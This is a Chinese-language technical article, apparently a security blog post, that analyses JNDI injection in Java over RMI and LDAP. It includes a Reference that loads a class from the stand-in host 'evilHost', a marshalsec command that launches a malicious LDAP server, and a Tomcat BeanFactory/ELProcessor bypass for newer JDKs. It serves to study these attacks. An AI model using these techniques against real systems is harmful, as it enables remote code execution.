JNDI注入详细分析
本文首发于跳跳糖https://tttang.com/archive/1611/
什么是JNDI
JNDI(Java Naming and Directory Interface)
是Java
提供的Java
命名和目录接口。通过调用JNDI
的API
可以定位资源和其他程序对象。JNDI
是Java EE
的重要部分,JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。
为什么会用到JNDI
JNDI是java语言产生漏洞的一个比较大的因素,我们平时在业务开发中基本没有使用到,那么为什么会出现jndi呢?
- JNDI 提出的目的是为了解耦,是为了开发更加容易维护,容易扩展,容易部署的应用。
- JNDI 是一个Sun提出的一个规范(类似于JDBC),具体的实现是各个厂商实现的,可以看出,老外还是非常认可这个规范,很多地方做了很多解耦的设计,包括Log4J。
- JNDI 在J2EE系统中的角色是”交换机”,是J2EE组件在运行时间接地查找其他组件、资源或服务的通用机制。
- JNDI 是通过资源的名字来查找的,资源的名字在整个J2EE应用中是唯一的。
Naming Service 命名服务
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS
系统将计算机名和IP
地址进行关联、文件系统将文件名和文件句柄进行关联等等。
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
其中另一个值得一提的名称服务为 LDAP
,全称为 Lightweight Directory Access Protocol
,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name
/value
对,以等号分隔。比如一个 LDAP
名称如下:
1 | cn=John, o=Sun, c=US |
即表示在 c=US
的子域中查找 o=Sun
的子域,再在结果中查找 cn=John
的对象。关于 LDAP
的详细介绍见后文。
在名称系统中,有几个重要的概念。Bindings
: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS
中域名绑定到对应的 IP
。Context
: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext
)。References
: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++
中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd
(file descriptor
),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
Directory Service 目录服务
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup
)对象(并获取其对应属性),还可以根据属性值去搜索(search
)对象。
一些典型的目录服务有:NIS
: Network Information Service,Solaris
系统中用于查找系统相关信息的目录服务;Active Directory
: 为 Windows
域网络设计,包含多个目录服务,比如域名服务、证书服务等;
其他基于 LDAP
协议实现的目录服务;
总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search
)操作去定位对象,而不是简单的根据名称查找(lookup
)去定位。
在下文中如果没有特殊指明,都会将名称服务与目录服务统称为目录服务。
API
根据上面的介绍,我们知道目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。在 Java
应用中除了以常规方式使用名称服务(比如使用 DNS
解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java
对象。
比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java
对象进行实际的打印操作。
为此,就有了 JNDI
,即 Java
的名称与目录服务接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI
独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。JNDI
架构上主要包含两个部分,即 Java
的应用层接口和 SPI
,如下图所示:
SPI
全称为 Service Provider Interface
,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK
中包含了下述内置的目录服务:RMI
: Java Remote Method Invocation
,Java
远程方法调用;LDAP
: 轻量级目录访问协议;CORBA
: Common Object Request Broker Architecture
,通用对象请求代理架构,用于 COS
名称服务(Common Object Services
);
除此之外,用户还可以在 Java
官网下载其他目录服务实现。由于 SPI
的统一接口,厂商也可以提供自己的私有目录服务实现,用户可无需重复修改代码。
为了更好理解 JNDI
,我们需要了解其背后的服务提供者(Service Provider
),这些目录服务本身和 JNDI
有没直接耦合性,但基于 SPI
接口和 JNDI
构建起了重要的联系。
SPI
本节主要介绍在 JDK
中内置的几个 Service Provider
,分别是 RMI
、LDAP
和 CORBA
。这几个服务本身和 JNDI
没有直接的依赖,而是通过 SPI
接口实现了联系,因此本节先对这些服务进行简单介绍。
RMI
第一个就是 RMI
,即 Remote Method Invocation
,Java
的远程方法调用。RMI
为应用提供了远程调用的接口,可以理解为 Java
自带的 RPC
框架。
一个简单的 RMI
主要由三部分组成,分别是注册端、服务端和客户端。
服务端:
a. 这里定义一个名为 Hello
的接口,其中包含方法sayHello()
。
1 | import java.rmi.Remote; |
b. 实现接口
1 | import java.rmi.RemoteException; |
c. 服务端可以createRegistry
也可以getRegistry
。其中涉及到两个端口,1098
表示当前对象的 stub
端口,可以用 0
表示随机选择;另外一个是 1099
端口,表示 registry
的监听端口。
1 | import java.rmi.registry.LocateRegistry; |
客户端代码如下:
a. 客户端也应该有一个即将调用的接口类
b. 客户端getRegistry
,然后lookup
相应方法然后进行调用
1 | import java.rmi.registry.LocateRegistry; |
LDAP
LDAP
(Lightweight Directory Access Protocol
, 轻型目录访问协议) 既是一类服务,也是一种协议,定义在 RFC2251(RFC4511) 中,是早期 X.500 DAP
(目录访问协议) 的一个子集,因此有时也被称为 X.500-lite
。LDAP Directory
作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP
的中文全称是:轻量级目录访问协议,说到底LDAP
仅仅是一个访问协议,我们的数据究竟存储在厂商相应的服务器里。
LDAP
的请求和响应是 ASN.1
格式,使用二进制的 BER
编码,操作类型(Operation
)包括 Bind/Unbind
、Search
、Modify
、Add
、Delete
、Compare
等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。
LDAP基本模型
每一个系统、协议都会有属于自己的模型,LDAP
也不例外,在了解LDAP
的基本模型之前我们需要先了解几个LDAP
的目录树概念:
(一)目录树概念
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
- 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(
DN
)。 - 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来。
- 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。
(二)DC
、UID
、OU
、CN
、SN
、DN
、RDN
关键字 | 英文全称 | 含义 |
---|---|---|
dc | Domain Component | 域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置) |
uid | User Id | 用户ID songtao.xu(一条记录的ID) |
ou | Organization Unit | 组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如“oa组”(一条记录的所属组织) |
cn | Common Name | 公共名称,如“Thomas Johansson”(一条记录的名称) |
c | country | 一个二位的国家代码。例如:CN、US、HK、JP等。 |
sn | Surname | 姓,如“许” |
dn | Distinguished Name | “uid=songtao.xu,ou=oa组,dc=example,dc=com”,一条记录的位置(唯一) |
rdn | Relative dn | 相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson” |
其中值得注意的是:DC
: Domain Component
,组成域名的部分,比如域名 baidu.com
的一条记录可以表示为 dc=baidu
,dc=com
,从右至左逐级定义;DN
: Distinguished Name
,由一系列属性(从右至左)逐级定义的,表示指定对象的唯一名称;DN
的 ASN.1
描述为:
1 | DistinguishedName ::= RDNSequence |
属性 type
和 value
使用等号分隔,每个属性使用逗号分隔。至于其他属性可以根据开发者的设计自行添加,比如对于企业人员的记录可以添加工号、邮箱等属性。
另外,由于 LDAP
协议的记录为 DER
编码不易于阅读,可以使用 LDIF
(LDAP Data Interchange Format
) 文本格式进行表示,通常用于 LDAP
记录(数据库)的导出和导出。
CORBA
CORBA
是一个由 Object Management Group
(OMG
) 定义的标准。在分布式计算的概念中,ORB
(Object Request Broker
) 表示用于分布式环境中远程调用的中间件。听起来有点拗口,其实就是早期的一个 RPC
标准,ORB
在客户端负责接管调用并请求服务端,在服务端负责接收请求并将结果返回。CORBA
是一系列定义分布式操作系统的标准,这些标准由 OMG
(Object Management Group
:对象管理组织)撰写。CORBA
定义对象之间交互的协议。如其所述,这些对象可以用不同的编程语言写成,运行在不同的操作系统上,存在于不同的机器上。
举个例子,让我们想象一个有 eat_me
方法的 Apple
对象。这个对象被编码到用 C
语言写的一些库中,并位于在 mathieu.rezel.enst.fr
的一个支持 CORBA
的运行 Windows
的老 486
上。 现在只要我想做,我可以在网络上的任何地方用 C++
程序调用 Apple
对象的 eat_me
方法。例如,从 calisson.enst.fr
的一个 ULTRA 5
工作站,我可以得到在 mathieu PC
上执行 eat_me
方法的结果。
这一切的好处是编程者不用介意是在本地机器还是在远程机器上执行方法。这些都由 CORBA
来关照。对象自身可以就在我进行调用的同一部机器上:没有人需要知道这些。 进一步,这样的对象可以用任何语言写成而用其他任何语言完成调用(假设语言有 CORBA
支持)。
为了作到所有这些, CORBA
定义了一系列对象间的通信协议。通信媒介是 ORB
(Object Request Broker
)。 ORB
将关照对象间发送消息:对象可以在做调用的同一机器上或在网络上的其他机器上。在第一种情况下, ORB
将优化消息交换。在第二中情况下,进行调用要使用在现存网络层之上的 IIOP
或 GIOP
协议。ORB
特定于 CORBA
实现(ORBit
有它自己的 ORB
),但来在不同厂商的 ORB
之间可以透明的通信,这有赖于公共的协议。这意味着你可以使用某个 ORB
并用它建立对象,这之后你决定这个 ORB
不再使用(sucks) (比如说它太慢了),你可以使用其他的 ORB
并有同样的对象交互。ORB
通信图如下:
当你做到对象的调用时,你必须生成正确的消息:stub
就是用来做这个的。skeleton
负责把这些消息转换成正确的到对象的调用。编程者负责写 stub
和 skeleton
,不过有一些工具可以帮助你。stub
担当本地的代表或远程对象的代理(proxy
),这样就能与远程对象一起工作、就象它在本地一样。skeleton
做严格的相反的事。COM
编程者要注意:CORBA stub
在 COM-lingo
中叫做 proxy
,而skeleton
大致扮演 COM stub
同样的角色。
这就是基本的 CORBA
体系,但 CORBA
有更多的内容:CORBA
的目标是个创建一个分布式系统。ORB
是对象用的框架(framework
),而 CORBA
还定义了一系列丰富的对象和伪对象(pseudo-object
)(ORB
提供的同对象一样的外表)来处理编程者在与分布式对象一起工作时所面对的各种要点。
首先, 我们有 CORBA
服务(Service
),例如,它允许你有命名服务、安全服务 、(对象鉴别、通信加密…),许可服务(控制使用软件的用户)。当前有 16
项服务,但在 ORBit
中被实现的很少(ORBit
是我们要用的 CORBA
实现)。
其次,在 CORBA
服务之上还建立了 CORBA
设施(facility
)。CORBA
设施是指定了产业分支的一系列对象:医药,法律…
一些常见名词的解释:IOR
: 全称是 Interoperable Object Reference
,即可互操作对象引用,其中包含了用于构建远程对象所需的必要字段,比如远程 IIOP
地址、端口信息等。Stub
: 由 IDL
编译而成的客户端模板代码,开发者通过调用这些代码来实现 RPC
功能;POA
: Portable Object Adapter
,可拓展对象适配器,简单来就是 IDL
编译而成的服务端模板代码,开发者通过继承去实现对应的接口来实现 RPC
的服务端功能,参考上面代码中的 HelloPOA
;GIOP
: General Inter-ORB Protocol
,ORB
互传协议,是一类抽象协议,指定转换语法和消息格式的标准集;IIOP
: Internet Inter-ORB Protocol
,ORB
网间传输协议,是 GIOP
在互联网(TCP/IP
)的特化实现;RMI-IIOP
: RMI over IIOP
,由于 RMI
也是 Java
中常用的远程调用框架,因此 Sun
公司提供了针对这二者的一种映射,让使用 RMI
的程序也能适用于 IIOP
的协议;
JNDI的结构
从上面介绍的三个 Service Provider
我们可以看到,除了 RMI
是 Java
特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java
独立使用。JNDI
就是在这个基础上提供了统一的接口,来方便调用各种服务。
在Java JDK
里面提供了5个包,提供给JNDI
的功能实现,分别是:
1 | javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 |
类介绍
InitialContext类
构造方法:
1 | //构建一个初始上下文。 |
常用方法:
1 | //将名称绑定到对象。 |
示例:
1 | import javax.naming.InitialContext; |
Reference类
该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI
中类的引用功能。
构造方法:
1 | //为类名为“className”的对象构造一个新的引用。 |
常用方法:
1 | //将地址添加到索引posn的地址列表中。 |
示例:
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
这里可以看到调用完Reference
后又调用了ReferenceWrapper
将前面的Reference
对象给传进去,这是为什么呢?
其实查看Reference
就可以知道原因,查看到Reference
,并没有实现Remote
接口也没有继承 UnicastRemoteObject
类,前面讲RMI
的时候说过,将类注册到Registry
需要实现Remote
和继承UnicastRemoteObject
类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper
将他给封装一下。
JNDI References 注入
为了在命名服务或目录服务中绑定Java
对象,可以使用Java
序列化来传输对象,但有时候不太合适,比如Java
对象较大的情况。因此JNDI定义了命名引用(Naming References
),后面直接简称引用(References
)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager
)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference
类来表示,它由地址(RefAddress
)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java
类名,以及用于创建对象的ObjectFactory
类的名称和位置。Reference
可以使用ObjectFactory
来构造对象。当使用lookup()
方法查找对象时,Reference
将使用提供的ObjectFactory
类的加载地址来加载ObjectFactory
类,ObjectFactory
类将构造出需要的对象。
所谓的 JNDI
注入就是控制 lookup
函数的参数,这样来使客户端访问恶意的 RMI
或者 LDAP
服务来加载恶意的对象,从而执行代码,完成利用
在 JNDI
服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference
类实现的。Reference
类表示对存在于命名/目录系统以外的对象的引用。
具体则是指如果远程获取 RMI
服务器上的对象为 Reference
类或者其子类时,则可以从其他服务器上加载 class
字节码文件来实例化Reference
类常用属性:
1 | className 远程加载时所使用的类名 |
比如:
1 | Reference reference = new Reference("Exploit","Exploit","http://evilHost/" ); |
此时,假设使用 rmi
协议,客户端通过 lookup
函数请求上面 bind
设置的 Exploit
1 | Context ctx = new InitialContext(); |
因为绑定的是 Reference
对象,客户端在本地 CLASSPATH
查找 Exploit
类,如果没有则根据设定的 Reference
属性,到URL
: http://evilHost/Exploit.class 获取构造对象实例,构造方法中的恶意代码就会被执行
JNDI_RMI
本节主要分析 JNDI 在使用 RMI 协议时面临的攻击面。
低版本JDK运行
服务端代码:
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
客户端代码:
1 | import javax.naming.InitialContext; |
恶意类:
1 | import javax.naming.Context; |
首先将恶意类编译为Class
文件,放到http
目录下。
启动服务端
启动客户端
可以清晰的看到在客户端中远程的类代码按照顺序被执行。
1 | static在类加载的时候执行 |
高版本JDK运行(LDAP也可以用这种思路)
JDK 6u132
、7u122
、8u113
开始 com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。因为如果 JDK
高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI
代码。
不加参数,抛出异常:
加入参数,正常运行:
原因分析
上面高版本 JDK
中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject
中
其中 getFactoryClassLocation()
方法是获取classFactoryLocation
地址,可以看到,在 ref != null && ref.getFactoryClassLocation() != null
的情况下,会对 trustURLCodebase
进行取反,由于在 JDK 6u132
、7u122
、8u113
版本及以后, com.sun.jndi.rmi.object.trustURLCodebase
默认为 false
,所以会进入 if
语句,抛出异常。
绕过方式
如果要解码的对象 r
是远程引用,就需要先解引用然后再调用 NamingManager.getObjectInstance
,其中会实例化对应的 ObjectFactory
类并调用其 getObjectInstance
方法,这也符合我们前面打印的 EvilClass
的执行顺序。
因此为了绕过这里 ConfigurationException
的限制,我们有三种方法:
- 令
ref
为空,或者 - 令
ref.getFactoryClassLocation()
为空,或者 - 令
trustURLCodebase
为true
方法一:令 ref
为空,从语义上看需要 obj
既不是 Reference
也不是 Referenceable
。即,不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI
没有操作的空间,因此这种情况不太好利用;
方法二:令 ref.getFactoryClassLocation()
返回空。即,让 ref
对象的 classFactoryLocation
属性为空,这个属性表示引用所指向对象的对应 factory
名称、地址,对于远程代码加载而言是 codebase
,即远程代码的 URL
地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory
是本地代码,则该值为空,这是绕过高版本 JDK
限制的关键;
方法三:我们已经在上节用过,即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase
参数。
可以看一下getFactoryClassLocation()
方法,以及返回值的赋值情况。
要满足方法二情况,我们只需要在远程 RMI
服务器返回的 Reference
对象中不指定 Factory
的 codebase
。接着看一下 javax.naming.spi.NamingManager
的解析过程
1 | public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, |
可以看到,在处理 Reference
对象时,会先调用 ref.getFactoryClassName()
获取对应工厂类的名称,也就是会先从本地的CLASSPATH
中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求,即前文中的情况。
之后会执行静态代码块、代码块、无参构造函数和getObjectInstance
方法。那么只需要在攻击者本地CLASSPATH
找到这个Reference Factory
类并且在这四个地方其中一块能执行payload
就可以了。但getObjectInstance
方法需要你的类实现javax.naming.spi.ObjectFactory
接口
因此,我们实际上可以指定一个存在于目标 classpath
中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。
整个利用过程的主要调用栈如下:
1 | InitialContext#lookup() |
总结一下
满足要求的工厂类条件:
- 存在于目标本地的
CLASSPATH
中 - 实现
javax.naming.spi.ObjectFactory
接口 - 至少存在一个
getObjectInstance()
方法
而存在于 Tomcat
依赖包中的 org.apache.naming.factory.BeanFactory
就是个不错的选择org.apache.naming.factory.BeanFactory
,这个类在 Tomcat
中,很多 web
应用都会包含,它的关键代码:
1 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, |
上面注释标注了关键的部分,我们可以通过在返回给客户端的 Reference
对象的 forceString
字段指定 setter
方法的别名,并在后续初始化过程中进行调用。forceString
的格式为 a=foo,bar
,以逗号分隔每个需要设置的属性,如果包含等号,则对应的方法为等号后的值 foo
,如果不包含等号,则 setter
方法为默认值 setBar
。
在后续调用时,调用 setter
方法使用单个参数,且参数值为对应属性对象 RefAddr
的值 (getContent
)。因此,实际上我们可以调用任意指定类的任意方法,并指定单个可控的参数。
因为使用 newInstance
创建实例(也就是后面Poc
中的ELProcessor
),所以只能调用无参构造,这就要求目标 class
得有无参构造方法,上面 forceString
可以给属性强制指定一个 setter
方法,参数为一个 String
类型
于是找到 javax.el.ELProcessor
作为目标 class
,利用 el
表达式执行命令,工具 JNDI-Injection-Bypass 中的 EvilRMIServer.java
部分代码如下
所以整个绕过流程就是:
为了绕过ConfigurationException
,需要满足ref.getFactoryClassLocation()
为空,只需要在远程 RMI
服务器返回的 Reference
对象中不指定 Factory
的 codebase
来到NamingManager
,需要在攻击者本地CLASSPATH
找到这个Reference Factory
类并且在其中一块代码能执行payload
,找到了BeanFactory
BeanFactor
使用newInstance
创建实例,所以只能调用无参构造,这就要求目标 class
得有无参构造方法且有办法执行相关命令,于是找到ELProcessor
和GroovyShell
总结起来就是绕过了ConfigurationException
,进入NamingManager
,使用BeanFactor
创建ELProcessor
/GroovyShell
无参实例,然后BeanFactor
根据别名去调用方法(执行ELProcessor
中的eval
方法)
从代码中能看出该工具还有另一个利用方法,groovy.lang.GroovyShell
,原理也是类似的
传入的 Reference
为 ResourceRef
类,后面通过反射的方式实例化 Reference
所指向的任意 Bean Class
,调用 setter
方法为所有的属性赋值,该 Bean Class
的类名、属性、属性值,全都来自于 Reference
对象。ResourceRef
构造器的第七个参数factoryLocation
是远程加载factory
的地址,比如是一个url
,这里将其设置为null
,达到绕过ConfigurationException
限制。
poc
1 | public class bypass { |
org.apache.naming.ResourceRef
在 tomcat
中表示某个资源的引用,其构造函数参数如下:
1 | /** |
其中我们指定了资源的实际类为 javax.el.ELProcessor
,工厂类为 apache.naming.factory.BeanFactory
。x=eval
令上述代码实际执行的是 ELProcessor.eval
函数,其第一个参数是属性 x
的值,这里指定的是弹计算器。
目标环境:
1 | <dependency> |
因为要使用 javax.el.ELProcessor
,所以需要 Tomcat 8+
或SpringBoot 1.2.x+
Server
端启动上述Poc
,Client
端正常请求,弹出计算器。
源码调试
debug Client
端,在lookup
处下端点;
经过如下调用栈,进入RegistryContext#decodeObject
判断上文中的三个条件,绕过后进入NamingManager.getObjectInstance
经由NamingManager.getObjectInstance
进入factory.getObjectInstance
进入BeanFactory#getObjectInstance
后,首先会判断对象是否是ResourceRef
类,接下来通过反射实例化了beanClass
取出了键值为forceString
的值,以,
分割,拆分=
键值对,存入hashMap
对象中,=
右边为调用的方法,=
左边则是会通过作为hashmap
的key
此时各个变量值为
最后通过反射执行我们指定的之前构造的方法
可以看到该方法中有反射的调用method.invoke(bean, valueArray);
并且反射所有参数均来自Reference
,反射的类来自Object bean = beanClass.getConstructor().newInstance();
,这里是ELProcessor
,后面就是分析ELProcessor.eval
达到了命令执行。
看一下调用栈
绕过总结
Server:
使用ResourceRef
构造的beanClass
,这种利用方式构造的beanClass
是javax.el.ELProcessor
。ELProcessor
中有个eval(String)
方法可以执行EL
表达式,javax.el.ELProcessor
是Tomcat8
中的库,所以仅限Tomcat8
及更高版本环境下可以通过该库进行攻击。
Client:
远程 RMI
服务器返回的 Reference
对象中不指定 Factory
的 codebase
,且使用本地的factory
,如BeanFactory
,以此绕过 trustURLCodebase
报错,执行 NamingManager
;
在factory
的静态代码块、代码块、构造函数和getObjectInstance
方法任意一个里面构造payload
,即可在 NamingManager
中执行。
工具
- 使用 https://github.com/welk1n/JNDI-Injection-Bypass,放在服务器上启动一个恶意
RMI Server
- https://github.com/mbechler/marshalsec
JNDI_LDAP
LDAP
服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java
对象的存储,此外,还有一些其他实现 Java
对象存储的方法:
- 使用
Java
序列化进行存储; - 使用
JNDI
的引用(Reference)进行存储; - ……
使用这些方法存储在 LDAP
目录中的 Java
对象一旦被客户端解析(反序列化),就可能会引起远程代码执行。
低版本JDK运行
Server端代码(攻击者):
我们可以通过LDAP
服务来绕过URLCodebase
实现远程加载,LDAP
服务也能返回JNDI Reference
对象,利用过程与jndi
+ RMI Reference
基本一致,不同的是,LDAP
服务中lookup
方法中指定的远程地址使用的是LDAP
协议,由攻击者控制LDAP
服务端返回一个恶意jndi Reference
对象,并且LDAP
服务的Reference
远程加载Factory
类并不是使用RMI Class Loader
机制,因此不受trustURLCodebase
限制。
利用之前,需要在这个网站下载LDAP
服务unboundid-ldapsdk-3.1.1.jar
https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1
服务端代码使用的是marshalsec
项目中的代码
引入依赖
1 | <dependency> |
工具
也可以使用marshalsec
开启LDAP
服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#EvilClass |
使用高版本后,返回null
流程分析
JNDI
发起ldap
的lookup
后,将有如下的调用流程,这里我们直接来关注,获得远程LDAP Server
的Entry
之后,Client
这边是怎么做处理的
LADP
服务利用流程分析,LADP
服务前面的调用流程和rmi
是基本一样,从Obj
类的decodeObject
方法这里就有些不太一样了,decodeObject
方法内部调用了decodeReference
方法
跟进com.sun.jndi.ldap.Obj.java#decodeObject
,按照该函数的注释来看,其主要功能是解码从LDAP Server
来的对象,该对象可能是序列化的对象,也可能是一个Reference
对象。关于序列化对象的处理,我们看后面一节。这里摘取了Reference
的处理方式:
1 | static Object decodeObject(Attributes var0) throws NamingException { |
Obj
类的decodeReference
方法根据Ldap
传入的addAttribute
属性构造并返回了一个新的reference
对象引用
1 | private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException { |
LADP
服务的Reference
对象引用的获取和rmi
注入中的不太一样,rmi
是通过ReferenceWrapper_Stub
对象的getReference
方法获取reference
对象,而LADP
服务是根据传入的属性构造一个新的reference
对象引用,接着获取了第6个属性并判断是否为空,如果第6个属性为null
则直接返回新的reference
对象引用。
reference
对象的三个属性:className
,classFactory
,classFactoryLocation
)如下所示:
接着会返回到decodeObject
方法调用处,然后再返回到LdapCtx
类的c_lookup
方法调用处,接着往下执行调用getObjectInstance
方法
1 | protected Object c_lookup(Name var1, Continuation var2) throws NamingException { |
c_lookup
方法将var3
(reference
对象)传给了getObjectInstance
方法的refInfo
参数,继续跟进分析getObjectInstance
方法
1 | public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx , Hashtable<?,?> environment, Attributes attrs) throws Exception { |
getObjectInstance
方法将reference
对象转换为Reference
类型并判断reference
对象是否为空,如果不为空则从reference
引用中获取工厂类Exp
名字,接着调用getObjectFactoryFromReference
方法根据工厂类Exp名字获取远程调用对象。
getObjectFactoryFromReference
方法实现如下:
1 | static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException,InstantiationException, MalformedURLException { |
可以看到LDAP
服务跟rmi
一样,会尝试先在本地查找加载Exp
类,如果本地没有找到Exp
类,那么getFactoryClassLocation
方法会获取远程加载的url
地址,如果不为空则根据远程url
地址使用类加载器URLClassLoader
来加载Exp
类
低版本是如何将远程类进行加载并实例化的:
下面这个图是loadClass方法远程加载Exp类的实现源码。(高版本加了trustURLCodebase限制,低版本没有)
可以看到使用URLClassLoader加载了远程类,并使用指定的类加载器(getContextClassLoader();)作为父类加载器创建ClassLoader对象。
然后loadClass(className, cl);
会调用loadClass(className, true, cl);
,继而调用Class.forName(className, initialize, cl);
,会对类进行初始化,会先执行静态变量和静态代码块。
然后回到getObjectFactoryFromReference方法,会newInstance这个类,执行类的代码块和无参构造函数
通过分析发现LDAP
服务的整个利用流程都没有URLCodebase
限制。
看一下整个调用站栈
高版本运行
限制
在jdk8u191
以上的版本中修复了LDAP
服务远程加载恶意类这个漏洞,LDAP
服务在进行远程加载之前也添加了系统属性trustURLCodebase
的限制,通过分析在jdk8u191
版本发现,在loadClass
方法内部添加了系统属性trustURLCodebase
的判断,如果trustURLCodebase
为false
就直接返回null
,只有当trustURLCodebase
值为true
时才允许远程加载。
在高版本 JDK
中需要通过 com.sun.jndi.ldap.object.trustURLCodebase
选项去启用。这个限制在 JDK 11.0.1
、8u191
、7u201
、6u211
版本时加入,略晚于 RMI
的远程加载限制。
使用序列化数据,触发Gadget
触发点一:com.sun.jndi.ldap.Obj.java#decodeObject
存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]
的判断
这里提到 com.sun.jndi.ldap.Obj.java#decodeObject
主要功能是解码从LDAP Server
来的对象,该对象可能是序列化的对象,也可能是一个Reference
对象。
对于Reference对象,可以像rmi那种方式,利用一个本地factory。
关键代码:
1 | e.addAttribute("javaClassName", "java.lang.String"); //could be any |
现在讲一下传来的是序列化的对象这种情况。
如果是序列化对象会调用deserializeObject
方法
进入deserializeObject
方法,发现会进行readObject
看一下调用栈
Poc
poc和低版本JDK
运行的Server
端代码差不多,就把sendResult
处的代码改成能触发反序列化漏洞的利用链就可以
触发点二:com.sun.jndi.ldap.Obj.java#decodeReference
函数在对普通的Reference
还原的基础上,还可以进一步对RefAddress
做还原处理,其中还原过程中,也调用了deserializeObject
函数,这意味着我们通过构造满足一定条件的RefAddress
,达到上面第一种的效果。
需满足以下条件:
1.第一个字符为分隔符
2.第一个分隔符与第二个分隔符之间,表示Reference
的position
,为int
类型
3.第二个分隔符与第三个分隔符之间,表示type
,类型
4.第三个分隔符是双分隔符的形式,则进入反序列化的操作
5.序列化数据用base64
编码payload
如下
1 | //方式二 |
触发点二只是一个锦上添花的步骤,我们可以直接用第一种方法,第二种在第一种不能用的情况下可以试试。
CORBA
使用场景少,暂时不分析。
总结
JDK 5U45
、6U45
、7u21
、8u121
开始java.rmi.server.useCodebaseOnly
默认配置为true
JDK 6u132
、7u122
、8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
JDK 11.0.1
、8u191
、7u201
、6u211
开始com.sun.jndi.ldap.object.trustURLCodebase
默认为false
由于JNDI
注入动态加载的原理是使用Reference
引用Object Factory
类,其内部在上文中也分析到了使用的是URLClassLoader
,所以不受java.rmi.server.useCodebaseOnly=false
属性的限制。
但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的限制。
所以,JNDI-RMI
注入方式有:
codebase
(JDK 6u132
、7u122
、8u113
之前可以)- 利用本地
Class Factory
作为Reference Factory
JNDI-LDAP
注入方式:
codebase
(JDK 11.0.1
、8u191
、7u201
、6u211
之前可以)serialize
(两个切入点)
浅蓝大佬写了一篇文章——探索高版本 JDK 下 JNDI 漏洞的利用方法
和探索高版本 JDK 下 JNDI 漏洞的利用方法:第二章
